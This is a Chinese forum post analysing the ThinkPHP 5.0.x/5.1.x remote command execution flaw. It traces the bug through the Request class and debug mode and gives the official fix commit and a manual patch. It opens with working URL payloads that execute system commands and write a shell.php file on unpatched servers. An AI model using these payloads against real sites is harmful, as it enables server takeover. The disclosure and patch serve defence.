跟老姚学前端,课程体系更完善,10%基础 + 90%实战演练,快人一步学编程

扫一扫浏览

ThinkPHP 5.0.x与5.1.x远程命令执行漏洞利用详细分析

未结贴
0 5673
鸿老大站长未认证 2019-01-21 14:08:05
收藏

针对<=5.0.23版本

命令执行:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=[系统命令]
文件写入:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][1]=<?php phpinfo();?>

针对<=5.1.31版本

命令执行:?s=index/\think\Request/input&filter=system&data=[系统命令]
文件写入:?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>

漏洞分析

漏洞主要出现在 ThinkPHPRequest 类的 method 方法中 (thinkphp/library/think/Request.php) Request 类可以实现对 HTTP 请求的一些设置,其中成员方法 method 用来获取当前请求类型,其定义如下:

当传入的参数为 false 的时候,会取配置项 var_method,其默认值为_method

$this->{$this->method}($_POST); 通过 post 参数_method 可以实现对当前类的任意方法进行调用。

通过调用当前类的构造方法可以覆盖任意成员属性的值:

这里通过覆盖 filter 属性,filter 属性保存了用于全局过滤的函数。

但是在 thinkphp5.0.23 中,会对 filter 值重新赋值为空,导致无法利用。

在App.php里有

在 thinkphp/library/think/App.php 中开启 debug 的时候会调用 Request 类的 param 方法。

在 thinkphp/library/think/Request.php param 方法中会调用到 method 方法, 并将参数设置为 true。

当参数为 true 的时候,会调用 server 方法

会走到 input 方法,通过之前方法覆盖 server 成员属性值为 array(),input 方法代码如下:

最终会调用 filterValue 形成任意代码执行:

因为,线上项目建议把debug给关掉

官方git修复代码:https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003

手动修复

把下面的代码

public function method($method = false)
{
    if (true === $method) {
        // 获取原始请求类型
        return $this->server('REQUEST_METHOD') ?: 'GET';
    } elseif (!$this->method) {
        if (isset($_POST[Config::get('var_method')])) {

            $this->method = strtoupper($_POST[Config::get('var_method')]);
            $this->{$this->method}($_POST);

        } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
            $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
        } else {
            $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
        }
    }
    return $this->method;
}

改成

public function method($method = false)
{
    if (true === $method) {
        // 获取原始请求类型
        return $this->server('REQUEST_METHOD') ?: 'GET';
    } elseif (!$this->method) {
        if (isset($_POST[Config::get('var_method')])) {

            $method = strtoupper($_POST[Config::get('var_method')]);
            if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
                $this->method = $method;
                $this->{$this->method}($_POST);
            }

        } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
            $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
        } else {
            $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
        }
    }
    return $this->method;
}
最近热帖 HOT TOPIC
【全套视频】thinkphp5视频教程 86656
父元素flex之后,子元素高度自适应问题 10909
一张纸的厚度是0.01毫米,则该纸对折30次后是多厚(据说超过珠穆朗玛峰的高度)php实现 9902
thinkphp5隐藏默认模块的一些问题 9471
api接口文档插件easydoc的基本用法,快速搞定接口文档 9423
omnicore rpc api中文手册【usdt】 9145
PHP如何判断字符串是否为json格式 9067
教你如果处理高并发数据不同步的问题php篇 9006
关于thinkphp5.0.x getshell漏洞的说明 8823
使用宝塔linux面板创建FTP无法连接的解决办法(阿里云或腾讯云) 8605
月度热议HOT COMMENTS
【全套视频】thinkphp5视频教程 71
tpframe 后续版本你希望有的功能是什么(分享贴) 12
权限那里怎么一登录别的账号就报错啊 9
关于tpframe的一点话题 6
cms插件在分类排序的时候JSON错误 6
基于tpframe v3.x 的微信公众号插件已批量上线 5
tpframe插件tcms插件v2.2已发布上线,欢迎下载使用 5
tpframe6.0马上就要跟大家见面了,一次全新的升级 5
透析thinkphp5升级版开发框架tpframe 3
新增的管理员没有权限操作CMS模块。 3
爆料早知道: